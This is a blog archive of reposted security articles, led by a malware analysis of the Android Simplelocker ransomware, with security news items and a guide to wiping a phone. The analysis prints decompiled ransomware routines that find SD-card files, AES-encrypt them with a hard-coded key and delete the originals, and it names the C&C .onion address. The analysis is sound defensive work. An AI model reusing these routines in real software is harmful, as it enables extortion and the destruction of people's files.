How To Dissect Android Simplelocker Ransomware

In this blog post we’ll be looking at a new type of malware for Android phones that encrypts important files and demands the user pay a ransom to regain access to their phone.

This is the first reported case of ransomware being used on smartphones so I’m keen to find out more about this new malicious app.

I want to understand what this ransomware does and how it restricts the phone user from accessing files on their SD card. I’ll be providing a step-by-step dissection of the malware to provide a clear explanation of how this app carries out its malicious activities.

So before we start the dissection let’s look at exactly what Simplelocker is and where it came from.

What is Simplelocker?

First reported by Eset (ESET Analyzes First Android File-Encrypting, TOR-enabled Ransomware) on the 4th June 2014, Simplelocker has one goal: to encrypt certain files on the phone’s SD card and then demand cash to decrypt the data – also known as ransomware.

Ransomware is a type of malware that “restricts access to the computer system that it infects, and demands a ransom paid to the creator of the malware in order for the restriction to be removed” (see Wikipedia: Ransomware).

We’ve seen plenty of cases recently of ransomware infecting computer’s (such as CryptoLocker and Cryptowall) but this appears to be the first case of smartphone ransomware in action.

Credit to the following articles for their explanation of the Simplelocker ransomware:

Simple Locker Ransomware Dissection

MD5: fd694cf5ca1dd4967ad6e8c67241114c
SHA256: 8a918c3aa53ccd89aaa102a235def5dcffa047e75097c1ded2dd2363bae7cf97
APK obtained from: contagiominidump.blogspot.in/2014/06/simplocker-android-file-encrypting-tor.html

This post will follow a similar form to the previous post How To Dissect Android Flappy Bird Malware, only I’ll assume you’ve already installed the various tools required for dissection.

The tools I’ll be using for this dissection are the same as the previous dissection:

  • DroidBox – a dynamic analysis tool that shows us what an app is doing (i.e. files/websites accessed etc) when it’s running
  • Android Emulator (included in the Android SDK – used to run the APK file
  • dex2jar – a set of tools that reads Dalvik Executable (.dex/.odex) files and outputs .jar files
  • JD-GUI graphical utility that displays Java source codes of .jar files

For this dissection I’ll still be using dynamic and static analysis, but the approach will be slightly different.

Due to the dangerous nature of ransomware it could be risky to carry out the dynamic analysis first, just in case the ransomware does something malicious to the computer. So I’ll be carrying out a basic static analysis in order to determine what the app does and if it’s safe to run in a virtual environment, before carrying out the dynamic analysis. I’ll then return to the static analysis where we’ll look at the code in greater detail and how it carries out the malicious activities.

Basic Static Analysis

The first task is to turn the APK file into a .jar file which we can then open in JD-GUI to see the Java code that’s powering the ransomware.

Heading over to the console, we first want to use the tool dex2jar to convert the APK file into a .jar file. The following command should do the trick:

sh /home/user/dex2jar-version/d2j-dex2jar.sh /home/user/simplocker.apk

This should produce a .jar file which you can open in JD-GUI, producing something similar to the screenshot below:

Let’s take a brief look at what this app is doing by exploring some of the class files:

  • Main: calls MainService
  • MainService: calls TorService (used to connect to the anonymous TOR network)
  • MainService: calls FilesEncryptor
  • FilesEncryptor: encrypts all images and videos, renames their extensions to .enc
  • Constants: contains variable EXTENSIONS_TO_ENCRYPT which contains the following file extensions: “jpeg”, “jpg”, “png”, “bmp”, “gif”, “pdf”, “doc”, “docx”, “txt”, “avi”, “mkv”, “3gp”, “mp4″
  • FilesEncryptor calls AesCrypt and finds all images, videos and documents on the phone’s SD card
  • AesCrypt contains a method called encrypt() which uses AES encryption and cipher password “jndlasf074hr” (found in Constants)
  • HTTPSender: connects to http://xeyocsu7fu2vjhxs.onion/ to send data about phone. Uses 127.0.0.1 port 9050 as proxy
  • Utils: gathers information such as IMEI, OS, phone model and manufacturer

In a nutshell this information tells us the following:

  1. This app is looking for images, documents and videos to encrypt. After encrypting the files it will then rename their file extensions to .enc
  2. The app has a C&C (command and control) server on the TOR network
  3. The app collects information about the phone (IMEI, OS, phone model, manufacturer) to send to C&C server
  4. Presumably the C&C server can send decryption instructions to the app

We now have a good overall picture of how this app carries out its ransomware activities. We can also determine that’s it’s reasonably safe to open this app in the virtual Android environment on DroidBox, so let’s move onto the next phase.

Dynamic Analysis

In this phase we want to allow the app to run in a safe environment to confirm whether or not our suspicions from the basic static analysis phase are true.

The main tool we’ll use for this phase is DroidBox (refer to the previous post, How To Dissect Android Flappy Bird Malware, for installation instructions)

We’ll be working on the command line for this part. Also, remember to export the Android SDK path so we can work from any directory and still have access to the SDK tools:

export PATH=$PATH:/path/to/android-sdk/tools/
export PATH=$PATH:/path/to/android-sdk/platform-tools/

Make sure you have a virtual device setup and ready to deploy in the Android Virtual Device (AVD) manager by entering the command:

android

Heading over to the DroidBox directory, we can now start the Android emulator by entering the following command:

./startemu.sh <AVD name>

Which should open up the virtual Android device with the OS loading, as seen in the screenshot below:

The Android emulator might take a minute or two to fire-up. Once it’s ready, enter the following into the command line. This will install Simplelocker onto the virtual device and run the app:

./droidbox.sh simplelocker.apk

Once the app has installed, the virtual Android screen should look like the screenshot below:

This screenshot is the Simplelocker lock screen presented to the user. The text translates from Russian as follows:

WARNING your phone is locked!
The device is locked for viewing and distribution child pornography, zoophilia and other perversions.
To unlock you need to pay 260 UAH.
1. Locate the nearest payment kiosk.
2. Select MoneXy
3. Enter 380982049193.
4. Make deposit of 260 Hryvnia, and then press pay.
Do not forget to take a receipt!
After payment your device will be unlocked within 24 hours.
In case of no PAYMENT YOU WILL LOSE ALL DATA ON your device!

Interestingly, the code to enter (in step 3) appears to be the same every time the app is executed.

Heading back to the command line, DroidBox should have produced an output similar to the screenshot below:

Go ahead and press Ctrl-C to to view the JSON log of data collected while the app was running.

This log shows the use of localhost 127.0.0.1 port 9051 being used for sending and receiving data, the app also accesses a lot of files.

This output didn’t prove much because there’s no SD card attached to the virtual Android device and therefore no files to encrypt. So let’s carry out the experiment again, but this time with some files to be encrypted.

Head back to the AVD manager by entering the command Android on the command line. Open up the settings for the AVD being used for the experiment and enable the SD card with a size of 30 MiB.

The location of this SD card image should be ~/.android/avd//sdcard.img, so the virtual SD card can be mounted by using the following command

mount ~/.android/avd/sdcard.img -o loop /mnt/sdcard

At this point go ahead and copy onto the mounted virtual SD card some sample images (“jpeg”, “jpg”, “png”, “bmp”, “gif”), documents (“pdf”, “doc”, “docx”, “txt”) and videos (“avi”, “mkv”, “3gp”, “mp4″).

Once there are some sample files on the virtual SD card, unmount it by entering the following onto the command line:

umount /mnt/sdcard/

Now we’re ready to fire up the AVD and run the app in DroidBox again:

./startemu.sh <AVD name>
./droidbox.sh simplelocker.apk

It might take the AVD a while to encrypt all the files, but after a few minutes stop the AVD and mount the virtual SD card again. All the sample files should have been encrypted and had their extensions renamed to .enc.

So at this point we can confirm that our basic static analysis turned out to be correct: this app encrypts images, documents and videos with pre-determined file extensions.

Static Analysis – Part Two

Having determined what this app does, let’s find out how this app carries out its malicious activities by looking at its code in more detail.

The main function being carried out by this app is the file encryption which occurs in the classes FilesEncryptor and AesCrypt. The class FilesEncryptor contains a method called getFileNames():

private void getFileNames(File paramFile)
  {
    File[] arrayOfFile = paramFile.listFiles();
    int i = 0;
    if (i >= arrayOfFile.length)
      return;
    File localFile = new File(paramFile.getAbsolutePath(), arrayOfFile[i].getName());
    if ((localFile.isDirectory()) && (localFile.listFiles() != null))
      getFileNames(localFile);
    while (true)
    {
      i++;
      break;
      String str1 = localFile.getAbsolutePath();
      String str2 = str1.substring(1 + str1.lastIndexOf("."));
      if (this.extensionsToDecrypt.contains(str2))
      {
        this.filesToDecrypt.add(localFile.getAbsolutePath());
        continue;
      }
      if (!Constants.EXTENSIONS_TO_ENCRYPT.contains(str2))
        continue;
      this.filesToEncrypt.add(localFile.getAbsolutePath());
    }
  }

This code extract from the ransomware iterates through all files on the SD card. Line 15 calculates the file extension of each file on the SD card and then line 16 checks if the file extension is in the list of pre-determined file extensions to encrypt (found in the class Constants).

The same class also contains a method called encrypt():

  public void encrypt()
    throws Exception
  {
    AesCrypt localAesCrypt;
    Iterator localIterator;
    if ((!this.settings.getBoolean("FILES_WAS_ENCRYPTED", false)) && (isExternalStorageWritable()))
    {
      localAesCrypt = new AesCrypt("jndlasf074hr");
      localIterator = this.filesToEncrypt.iterator();
    }
    while (true)
    {
      if (!localIterator.hasNext())
      {
        Utils.putBooleanValue(this.settings, "FILES_WAS_ENCRYPTED", true);
        return;
      }
      String str = (String)localIterator.next();
      localAesCrypt.encrypt(str, str + ".enc");
      new File(str).delete();
    }
  }

This method iterates over all the files which were added to the array in the previous method (getFileNames()), as seen on line 9. Each file is encrypted on line 19 where a call is made to the encrypt() method of the AesCrypt class.

The encrypt() method from the AesCrypt class requires two parameters: name/location of file to be encrypted and name/location of the encrypted output file. Line 19 uses the name of the file (as determined by line 18) and then appends the extension .enc to the end of the file to write. Finally, line 20 deletes the original unencrypted file.

The class AesCrypt carries out the actual encryption and decryption of files. It’s constructor method is shown below:

  public AesCrypt(String paramString)
    throws Exception
  {
    MessageDigest localMessageDigest = MessageDigest.getInstance("SHA-256");
    localMessageDigest.update(paramString.getBytes("UTF-8"));
    byte[] arrayOfByte = new byte[32];
    System.arraycopy(localMessageDigest.digest(), 0, arrayOfByte, 0, arrayOfByte.length);
    this.cipher = Cipher.getInstance("AES/CBC/PKCS7Padding");
    this.key = new SecretKeySpec(arrayOfByte, "AES");
    this.spec = getIV();
  }

This code snipped shows that the ransomware uses AES encryption using AES/CBC/PKCS7Padding.

The AesCrypt class contains a method called crypt() (as called earlier in FilesEncryptor‘s encrypt() method), this method is shown below:

  public void encrypt(String paramString1, String paramString2)
    throws Exception
  {
    FileInputStream localFileInputStream = new FileInputStream(paramString1);
    FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
    this.cipher.init(1, this.key, this.spec);
    CipherOutputStream localCipherOutputStream = new CipherOutputStream(localFileOutputStream, this.cipher);
    byte[] arrayOfByte = new byte[8];
    while (true)
    {
      int i = localFileInputStream.read(arrayOfByte);
      if (i == -1)
      {
        localCipherOutputStream.flush();
        localCipherOutputStream.close();
        localFileInputStream.close();
        return;
      }
      localCipherOutputStream.write(arrayOfByte, 0, i);
    }
  }

This is where the file encryption takes places within the app. Lines 4 and 5 create variables used for the file input and output. Line 6 initialises the cipher (to encrypt data). Line 7 is where the encryption occurs and line 19 writes the encrypted byes to the output file.

Interestingly the same class also contains a method called decrypt() which is very similar to the encrypt() method:

  public void decrypt(String paramString1, String paramString2)
    throws Exception
  {
    FileInputStream localFileInputStream = new FileInputStream(paramString1);
    FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
    this.cipher.init(2, this.key, this.spec);
    CipherInputStream localCipherInputStream = new CipherInputStream(localFileInputStream, this.cipher);
    byte[] arrayOfByte = new byte[8];
    while (true)
    {
      int i = localCipherInputStream.read(arrayOfByte);
      if (i == -1)
      {
        localFileOutputStream.flush();
        localFileOutputStream.close();
        localCipherInputStream.close();
        return;
      }
      localFileOutputStream.write(arrayOfByte, 0, i);
    }
  }

Obviously this method carries out the decryption on the input file and produces the decrypted output file. The same line numbers from the encrypt() method are highlighted to demonstrate how decryption occurs.

Conclusion

As previously noted by other write-ups about this ransomware: this is more of a proof-of-concept app at the moment and it has yet to be discovered on the Google Play Store. The app is also quite simple to reverse-engineer and no code obfuscation has been used.

This dissection shows how the app encrypts user’s files and that information about the phone is sent to a C&C server on the TOR network.

But one important question remains unanswered: would it be possible to decrypt files that have been encrypted by the app without connecting to the C&C server? In other words: can we reverse the damage done by this app?

In the next blog post we’ll look at how you can create an antidote for this ransomware.

Edit: as promised, a complete walkthrough on creating the antidote for Simplelocker (which will decrypt the files) is available in the blog post Creating An Antidote For Android Simplelocker Ransomware.

Source: How To Dissect Android Simplelocker Ransomware


Posted in Secure Honey, English-Italian Translations and tagged , by with no comments yet.

The Fundamental Insecurity of USB

p>This is pretty impressive:

Most of us learned long ago not to run executable files from sketchy USB sticks. But old-fashioned USB hygiene can’t stop this newer flavor of infection: Even if users are aware of the potential for attacks, ensuring that their USB’s firmware hasn’t been tampered with is nearly impossible. The devices don’t have a restriction known as “code-signing,” a countermeasure that would make sure any new code added to the device has the unforgeable cryptographic signature of its manufacturer. There’s not even any trusted USB firmware to compare the code against.

The element of Nohl and Lell’s research that elevates it above the average theoretical threat is the notion that the infection can travel both from computer to USB and vice versa. Any time a USB stick is plugged into a computer, its firmware could be reprogrammed by malware on that PC, with no easy way for the USB device’s owner to detect it. And likewise, any USB device could silently infect a user’s computer.

These are exactly the sorts of attacks the NSA favors.

Source: The Fundamental Insecurity of USB


Posted in Bruce Schneier, English-Italian Translations and tagged by with no comments yet.

Clear Your Cookies? You Can’t Escape Canvas Fingerprinting

So tracking is getting even trickier, it seems canvas fingerprinting would work in any browser that supports HTML5 and is pretty hard to stop as a user, as it’s a basic feature (a website instructing your browser to draw an image using canvas).

And it turns out, every single browser will draw the image slightly differently, so they can track you regardless of your cookie/privacy settings by asking your browser to redraw the image then I assume quickly scanning a database of image checksums for a match.

Canvas Fingerprinting

It wouldn’t exactly tie to your identity (unless you did it on a site that requires/supports login) but it would tie your usage together across sites, especially any sites using AddThis (which I could never stand).

A new, extremely persistent type of online tracking is shadowing visitors to thousands of top websites, from WhiteHouse.gov to YouPorn.com.

The type of tracking, called canvas fingerprinting, works by instructing the visitor’s web browser to draw a hidden image, and was first documented in a upcoming paper by researchers at Princeton University and KU Leuven University in Belgium. Because each computer draws the image slightly differently, the images can be used to assign each user’s device a number that uniquely identifies it.

Like other tracking tools, canvas fingerprints are used to build profiles of users based on the websites they visit — profiles that shape which ads, news articles or other types of content are displayed to them.

But fingerprints are unusually hard to block: They can’t be prevented by using standard web browser privacy settings or using anti-tracking tools

The researchers found canvas fingerprinting computer code, primarily written by a company called AddThis, on 5% of the top 100,000 websites. Most of the code was on websites that use AddThis’ social media sharing tools. Other fingerprinters include the German digital marketer Ligatus and the Canadian dating site Plentyoffish. (A list of all the websites on which researchers found the code is here).

A lot of sites use AddThis, so a lot of users are being tracked, the article/research states 5% of the top 100,000 websites. So at least 5000 high traffic sites are capturing user data in this rather underhanded way.

I can foresee a lot of people removing AddThis from their sites if this news gets any kind of traction.

You can find a list of the sites with the fingerprinting code here – Sites with canvas fingerprinting scripts

Rich Harris, chief executive of AddThis, said that the company began testing canvas fingerprinting earlier this year as a possible way to replace “cookies,” the traditional way that users are tracked, via text files installed on their computers.

“We’re looking for a cookie alternative,” Harris said in an interview.

Harris said the company considered the privacy implications of canvas fingerprinting before launching the test, but decided “this is well within the rules and regulations and laws and policies that we have.”

He added that the company has only used the data collected from canvas fingerprints for internal research and development. The company won’t use the data for ad targeting or personalization if users install the AddThis opt-out cookie on their computers, he said.

Arvind Narayanan, the computer science professor who led the Princeton research team, countered that forcing users to take AddThis at its word about how their data will be used, is “not the best privacy assurance.”

It’s all pretty shady, but honestly we have to assume people are doing this type of stuff because one of those most valuable things you can create from the Internet is user data. Especially usage/consumption patterns, even if it doesn’t tie to specific humans – the data itself is very valuable to people making marketing decisions based on it.

Plus whatever AddThis is doing isn’t regulated in any way, so they can say they are gonna stop/change but just continue on anyway. If you wear a Tinfoil hat, you are probably already using Tor Browser anyway – so good for you.

The full paper is also available here – The Web Never Forgets [PDF]

Source: Mashable

Source: Clear Your Cookies? You Can’t Escape Canvas Fingerprinting


Posted in Darknet, English-Italian Translations and tagged , , by with no comments yet.

Hacking Your Fridge – Internet of Things Security

So one of the latest fads is IoT or the Internet of things phenomena which has been talked about for a while (especially since the discussion of IPv6 started), IoT is connecting physical items to the Internet and giving them some kind of IP (be in NAT or a proper IPv6 address).

This enabled you to control your lights (on/off & dimming) via your phone, or anything else that can be connected (turn on your kettle, check your fridge temperature, warm up your oven etc).

The possibilities are basically endless.

Internet of Things Security

The issues IoT brings is of course a whole new set of security concerns, if everything is Internet connected, it’s also prone to get hacked, spammed, DDoSed and generally fscked up.

Imagine if your house alarm is Internet savvy and someone DDoSed the control box, so you can’t get into your own house, unless you pay some kind of ransom. These things are going to happen.

Those convinced that the emerging Internet of Things (IoT) will become a hackers’ playground were given more grist for their mill with news on Friday that security researchers have discovered a weakness in Wi-Fi/mesh networked lightbulbs.

Researchers at Context Information Security discovered that LED light bulbs from manufacturer LIFX – which are designed to be controlled from a smartphone – have security weaknesses. By gaining access to the master bulb, Context was able to control all connected lightbulbs and expose user network configurations.

Context worked with LIFX to develop a patch for the security bug before releasing a fix in the form of a firmware update. Simon Walker from LIFX stated: “Prior to the patch, no one other than Context had exposed this vulnerability, most likely due to the complexity of the equipment and reverse engineering required.”

Thankfully IoT is a fairly new thing so not many malicious hackers are looking into it, plus for now – there’s no real monetary value when it comes to hacking into a lightbulb. Rather annoying yes? Business critical? No.

That is of course, until the point where your Lightbulb is part of your corporate LAN and hacking the lightbulb gives you access to the internal network..then it becomes a whole different story.

Context’s find is part of its ongoing research into the security of the Internet of Things (IoT) – which includes parking meters, internet-enabled fridges and much more besides. Many of these components are being put together with little thought for basic security precautions, according to Context.

“It is clear that in the dash to get onto the IoT bandwagon, security is not being prioritised as highly as it should be in many connected devices,” said Michael Jordon, research director at Context. “We have also found vulnerabilities in other internet connected devices from home storage systems and printers to baby monitors and children’s toys.”

So yah, as IoT becomes more of a ‘thing’ and adoption goes up, Internet of Things Security is going to become a major issue and it could well become the next hackers playground.

Fortunately this case is more of a research/knowledge share than actually something exposing risk or a published zero-day exploit against an IoT device. I would imagine in the coming year or so we’ll see a lot more similar incidents.

Source: The Register

Source: Hacking Your Fridge – Internet of Things Security


Posted in Darknet, English-Italian Translations and tagged , by with no comments yet.

Cybercrooks Breed Self-Cloning Mutant That Steals Your Bank Details

Cybercrooks Breed Self-Cloning Mutant That Steals Your Bank Details Cybercrooks have put together a botnet client which bundles in worm-like functionality that gives it the potential to spread quickly.
Seculert warns that the latest version of the Cridex (AKA Geodo) information stealing Trojan includes a self-spreading infection method.

Infected PCs in the botnet download a secondary strain of malware – an email worm – from the botnet’s command and control servers. That worm pushes out an email with links to download a zip file containing the primary Cridex Trojan.

Seculert discovered that the the email worm is provided with approximately 50,000 stolen SMTP account credentials, including the related SMTP servers. The bot then uses these credentials to target mostly German marks by sending spoofed emails posing as messages from German banks and financial organisations.

Read more.

Source: The Register

Fonte: Cybercrooks Breed Self-Cloning Mutant That Steals Your Bank Details


Posted in DFI News, English-Italian Translations and tagged by with no comments yet.

Yes, your smartphone camera can be used to spy on you…

smartphone-camera-170Yes, smartphone cameras can be used to spy on you – if you’re not careful.

A researcher claims to have written an Android app that takes photos and videos using a smartphone camera, even while the screen is turned off – a pretty handy tool for a spy or a creepy stalker.

University student Szymon Sidor claimed in a blog post and a video that his Android app works by using a tiny preview screen – just 1 pixel x 1 pixel – to keep the camera running in the background.

Now that most smartphones come with a camera (or two), and camera use is popular with apps like Instagram that encourage photo sharing, it’s a little surprising it has taken so long for hackers to find sneaky ways to exploit them.

Spyware of this sort has been around for a long time for Windows – the malware called Blackshades for example, which hackers have used to secretly record victims with their computer’s webcam.

But this seems to be the first reported instance of an Android application that can hijack a smartphone or tablet’s camera for the same devious purpose.

According to Sidor, the Android operating system won’t allow the camera to record without running a preview – which is how Sidor discovered that he could make the preview so small that it is effectively invisible to the naked eye.

Sidor demonstrated how the app works in a video, using his Nexus 5 smartphone.

Sidor said his app worked so well it was “scary”:

The result was amazing and scary at the same time - the pixel is virtually impossible to spot on Nexus 5 screen (even when you know where to look)!

Also it turned out that even if you turn the screen completely off, you can still take photos, as long as the pixel is still there.

Allowing the camera to run in the background – without an indicator in the notification bar – is “inexcusable” and should be fixed by Google’s Android team, Sidor commented in his blog post.

Selfie spies

smartphone-spycam-170There are other Android spyware apps readily available, such as mSpy, that allow snoops to access a device’s activity such as text messages, location, and even make audio recordings.

This is one of the first reported instances, however, of an app that successfully uses the smartphone camera without the user’s knowledge.

But just because this Android vulnerability is something that researchers are just recently discovering doesn’t mean others haven’t tried to exploit it maliciously.

In March 2014 we reported at Naked Security about a spyware app for Google Glass that could take photos without the Glass display being lit.

Mike Lady and Kim Paterson, graduate researchers at Cal Poly, in California, uploaded to Play Store a Google Glass spyware app (disguised as a note-taking app called Malnotes).

Google only discovered the Glass spyware and took it down from Play Store when the pair’s professor tweeted about their research experiment.

Perhaps the researchers were wrong to knowingly violate Google’s developer policies to serve up their spyware – but it’s a warning sign that even the all-powerful Google can’t completely secure Google Play against malicious apps.

The best advice we have for Android users still applies here and in many other examples of bad apps:

  • Stick as far as possible to Google Play.
  • Avoid apps that request permissions they don’t need.
  • Consider using an Android anti-virus that will scan apps automatically before you run them for the first time.

Source:Yes, your smartphone camera can be used to spy on you…


Posted in Naked Security, English-Italian Translations and tagged , by with no comments yet.

Pirated ‘Watch Dogs’ Game Made A Bitcoin Mining Botnet

Pretty smart idea this one, we wrote about Yahoo! spreading Bitcoin mining malware back in January, but we haven’t really seen any of that type of activity since then.

Watch Dogs Bitcoin Mining Botnet

But this, this is a much better target audience – gamers with high powered GPUs! Especially as this is one of most hyped ‘next-gen’ games for 2014 (yes I’ve been eagerly awaiting it for my PS4). But pirating Watch Dogs via a torrent from popular warez group SkidRow could make you part of a Bitcoin mining botnet!

Tens of thousands of pirate gamers have been enslaved in a Bitcoin botnet after downloading a cracked copy of popular game Watch Dogs.
A torrent of the infected title, which supposedly has had its copy-protection removed, had almost 40,000 active users (seeders and leachers) and was downloaded a further 18,440 times on 23 May on one site alone.
Pirates reported on internet forums that the torrent package masquerading under the popular torrent brand SkidRow had quietly installed a Bitcoin miner along with a working copy of the game.
The Windows miner ran via two executables installed in the folder AppData\Roaming\OaPja and would noticeably slow down lower performance machines sucking up to a quarter of CPU power.
Most sources have removed the offending torrent. Analysis has yet to be done to determine the location or identities of actors behind the attack.

It seems like it was a massively popular torrent, so the infection could easily reach tens of thousands of pirate gamers, which would then turn into a Bitcoin mining botnet with tens of thousands of users (A fairly profitable proposition, even with the current Bitcoin mining difficulty).

It’s also slightly ironic that the tagline for the game is “Everything is connected” as if you pirate it, everyone is connected..to the botnet. And of course the fact it’s a game about ‘hacking’ – although I haven’t played it yet and the reports of the hacking part aren’t great.

Gamers were choice targets for Bitcoin mining malefactors because they often ran high-end graphical processing units (GPUs) and shunned resource-draining anti-virus platforms.

“If you happen to download cracked games via Torrent or other P2P sharing services, chances are that you may become a victim of [a] lucrative trojan bundled with a genuine GPU miner,” BitDefender chief strategist Catalin Cosoi said of an early Bitcoin miner that targeted gamers.

“We advise you to start checking your system for signs of infection, especially if you are constantly losing frames-per-second.”

Using stolen dispersed compute resources was one of the few ways punters could make decent cash by crunching the increasingly difficult mathematical algorithms required to earn Bitcoins.

Crims have in recent years foisted the compute-intensive Bitcoin miners in a host of attacks targeting valuable high-end GPUs right down to ludicrously slow digital video recorders.

They might have been better off mining something else though (Scrypt based coins like Litecoin or perhaps even X11 mining), if they did X11 mining the users probably wouldn’t even notice any framedrops or their GPU fans spinning at full speed.

I’m honestly surprised we don’t see more botnets based around cryptocurrency mining, I guess it’s just not that mainstream yet. And you need a good bait to get so many people to install malware these days (and get past their anti-virus software).

Which is another reason gamers make a good target as they often don’t even use AV software or disable it for maximum performance.

Source: The Register

Source: Pirated ‘Watch Dogs’ Game Made A Bitcoin Mining Botnet


Posted in Darknet, English-Italian Translations and tagged , , , by with no comments yet.

Money Laundered through Online Gambling Sites

A new report by McAfee sheds light on the underground world of online gambling. It identifies the proliferation of online casinos, an industry set to grow nearly 30 percent over the next three years, and how their use is fuelling cyber crime by making it easy to “cash in” on illegal activities.

Online gambling involves huge volumes of transactions and cash flows that can obscure and disguise money laundering. Players are not dealing with a tangible, physical product; physical currency does not change hands. As a result, illegal proceeds can be laundered by wagering them on one end of a transaction and receiving the payouts as gambling wins on the other end.
Furthermore, gambling winnings are tax free in many jurisdictions, making official reporting to governments unworkable and authorities often incapable of monitoring transactions.
Online gambling sites facilitate money laundering while the number of unlicensed sites is over ten times that of licensed operators. This trend, combined with the many sites now operating on the Dark Web and leveraging virtual currencies, shows the extent of the challenge for law enforcement.
Read more.
Source: Help Net Security

Source: Money Laundered through Online Gambling Sites


Posted in DFI News, English-Italian Translations and tagged , , by with no comments yet.

Malicious Apps Can Make Android Phones Useless

Security researchers said they have uncovered bugs in Google’s Android operating system that could allow malicious apps to send vulnerable devices into a spiral of endlessly looping crashes and possibly delete all data stored on them.

Apps that exploit the denial-of-service vulnerability work on Android versions 2.3, 4.2.2, 4.3, and possibly many other releases of the operating system, researcher Ibrahim Balic wrote in a blog post. Attackers could exploit the underlying memory corruption bug by hiding attack code in an otherwise useful or legitimate app that is programmed to be triggered only after it is installed on a vulnerable handset. By filling the Android “appname” field with an extremely long value exceeding 387,000 characters, the app can cause the device to go into an endless series of crashes.

Read more.

Source: Ars Technica

Source: Malicious Apps Can Make Android Phones Useless


Posted in DFI News, English-Italian Translations and tagged by with no comments yet.

Secure Erasing Android Devices Guide for the Super Paranoid Seller.

Any of my friends would tell you that I’m crazy paranoid about malicious users–especially when I sell off my old electronics. I’m the type of guy who’d prefer to put a nail through an old device. Unfortunately I’m also the type of guy that likes to buy the new Nexus devices every time they release–so I prefer to sell my old devices to help fund my new purchases. To do this I had to come up with a way to make myself feel good about selling my old devices. Now I know one really easy way to do this is to enable encryption on your device and then format it. For some reason when selling my HTC One X the encryption just kept failing and the SD card is non removable so I needed to find a way to get piece of mind and still sell the device–which led me to come up with this method.

I’m not 100% sure, but I believe you might need BusyBox/Root installed to do this–or it’s possible you can do it using just using the Android SDK (which, you will need) but I am going to assume anyone who understand that factory resetting your device doesn’t actually remove any data are more than likely the same type of people who’d be rooting their android devices.

Also just as a side note, I’m not saying this is the most secure thing in the world but it’s what I do and it makes me feel pretty good. I’ve confirmed by running Recuva in deep scan mode that I wasn’t able to recover any data from the /sdcard, however, I have no way to confirm for the /data partition. I’m just assuming it works just as well as it did for the internal SD card.

This process essentially includes 2 steps

  1. Formatting the Storage
  2. Zeroing out /sdcard, and /data

So let’s get started…

Step 1 — Formatting the Storage

This is a pretty basic deal and when you buy a phone online that’s used it’s likely as far as the other user has gone to secure the data–which I assure you isn’t much at all. All this is going to do is tell the OS that where your data used to be is now “Available” so that the OS can write over it. If you were to run a tool like Recuva after running a simple Factory Reset you’ll be able to recover much of the files. This isn’t just an Android thing–it applies to all storage mediums though not so much to flash media as hard drives. The reason I used this as a starting point is to tell the OS that everything is “available” for writing, which is how we want it. To do this you can either use your recovery or by going to Settings > Backup and Reset > Factory Reset and let the OS do its thing.

Step 2 — Zeroing out /sdcard and /data

Now that we’ve labeled all the data on the device as available for the writing, it’s time to start “Zeroing Out” the data. Which essentially means writing 0′s over the data that we previously marked as “Available”. Ideally after doing this if someone attempts to restore your data they’ll be restoring the 0′s and not your personal data. On older HDD’s it’s a good idea to do this multiple times but many experts have suggested one pass is all that’s necessary on flash media.

First thing you’ll want to do is fire up the Android SDK using the command line and navigate to the platform-tools folder where you’ll find fastboot and adb. It’s found in /androidsdk/platform-tools.

Once in your platform tools run the following command:

./adb devices

If you get a print out with a serial number you are good to go–this means that your computer is reading your phone just fine. If you don’t get anything be sure to go into your Developer Settings and enable USB Debugging.

Once you’ve got the phone and the SDK speaking together type the following command to access the shell of your device:

./adb shell

You should be greeted by a bash as shown in the image below:

Screen Shot 2013-02-16 at 1.10.14 PM

Once in your phones command line run the following command:

dd if=/dev/urandom of=/sdcard/junkfile

You won’t get a response for a while, what this is essentially doing is creating a file filled with random data on your phones SD Card until it’s completely full–at which point it will be brought to a hault. You can verify this by going into Settings > Storage and watching the % free on your SD card continue to go down.

When the process is all done you should get a message like the following, that details the amount of space written. It should resemble the size of your SD Card.

Screen Shot 2013-02-16 at 5.01.55 PM

Once the process is complete we’ll want to repeat the same line, with a slight modification as follows:

dd if=/dev/urandom of=/data/junkfile

This will create another junk file on your device with random data, except rather than being in /sdcard it’ll be in /data. /data is where all the settings for your various apps are stored. The way that I verified this process was still running was by opening a another terminal window and using ./adb shell to run ls -all -h to watch the size of the file continue to grow as shown below:

Screen Shot 2013-02-16 at 4.59.52 PM

You can see the size of “junkfile” going from ~600MB to ~1.5GB. Once the /data folder is completely full you’ll not only get a confirmation on the shell but your Android device should pop down a message in your notification window that the data partition is full and system functions might start breaking–for once this is good!

So at this point you’ve successfully filled your /data and /sdcard folders, the two main areas where personal information is stored on Android, with a bunch of random data.

The next and final step of the process is to simply return to Step 1 and Factory Reset the phone one last time. This will mark the data as “Available” and give the new owner of your device a “new phone” experience. It’s not necessary I suppose, but I’m guessing the buyer of your phone won’t take too kindly to turning on a phone filled with error messages. ;)

I’m not expert, however, as I stated before when running recovery software I was unable to recover any data from my HTC One X when I sold it–so I’d say this method is pretty handy at cleaning the device from 99.9% of users out there.

A little over the top? Definitely. That’s exactly how I like it!

Source: Secure Erasing Android Devices Guide for the Super Paranoid Seller


Posted in English-Italian Translations, Zackery Fretty and tagged , , by with no comments yet.